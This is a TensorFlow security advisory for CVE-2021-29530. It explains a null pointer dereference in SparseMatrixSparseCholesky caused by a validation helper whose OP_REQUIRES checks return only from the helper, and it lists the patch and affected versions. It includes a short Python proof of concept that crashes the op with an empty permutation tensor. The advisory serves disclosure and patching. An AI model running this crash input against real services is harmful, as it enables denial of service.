Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjd2otd2ZjbS1tMjNj

Invalid validation in `SparseMatrixSparseCholesky`

Impact

An attacker can trigger a null pointer dereference by providing an invalid permutation to tf.raw_ops.SparseMatrixSparseCholesky:

import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops

indices_array = np.array([[0, 0]])
value_array = np.array([-10.0], dtype=np.float32)
dense_shape = [1, 1]
st = tf.SparseTensor(indices_array, value_array, dense_shape)

input = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
       st.indices, st.values, st.dense_shape)

permutation = tf.constant([], shape=[1, 0], dtype=tf.int32)
 
tf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)

This is because the implementation fails to properly validate the input arguments:

void Compute(OpKernelContext* ctx) final {
  ...
  const Tensor& input_permutation_indices = ctx->input(1);
  ...
  ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);
  ...
}

void ValidateInputs(OpKernelContext* ctx,
    const CSRSparseMatrix& sparse_matrix,
    const Tensor& permutation_indices, int* batch_size,
    int64* num_rows) {
  OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)
  ...
}

Although ValidateInputs is called and there are checks in the body of this function, the code proceeds to the next line in ValidateInputs since OP_REQUIRES is a macro that only exits the current function.

#define OP_REQUIRES(CTX, EXP, STATUS)                     \
  do {                                                    \
    if (!TF_PREDICT_TRUE(EXP)) {                          \
      CheckNotInComputeAsync((CTX), "OP_REQUIRES_ASYNC"); \
      (CTX)->CtxFailure(__FILE__, __LINE__, (STATUS));    \
      return;                                             \
    }                                                     \
  } while (0)

Thus, the first validation condition that fails in ValidateInputs will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check context->status() or to convert ValidateInputs to return a Status.

Patches

We have patched the issue in GitHub commit e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-xcwj-wfcm-m23c
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjd2otd2ZjbS1tMjNj
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: almost 3 years ago
Updated: about 1 year ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-xcwj-wfcm-m23c, CVE-2021-29530
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xcwj-wfcm-m23c
• https://nvd.nist.gov/vuln/detail/CVE-2021-29530
• https://github.com/tensorflow/tensorflow/commit/e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd
• https://github.com/advisories/GHSA-xcwj-wfcm-m23c

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages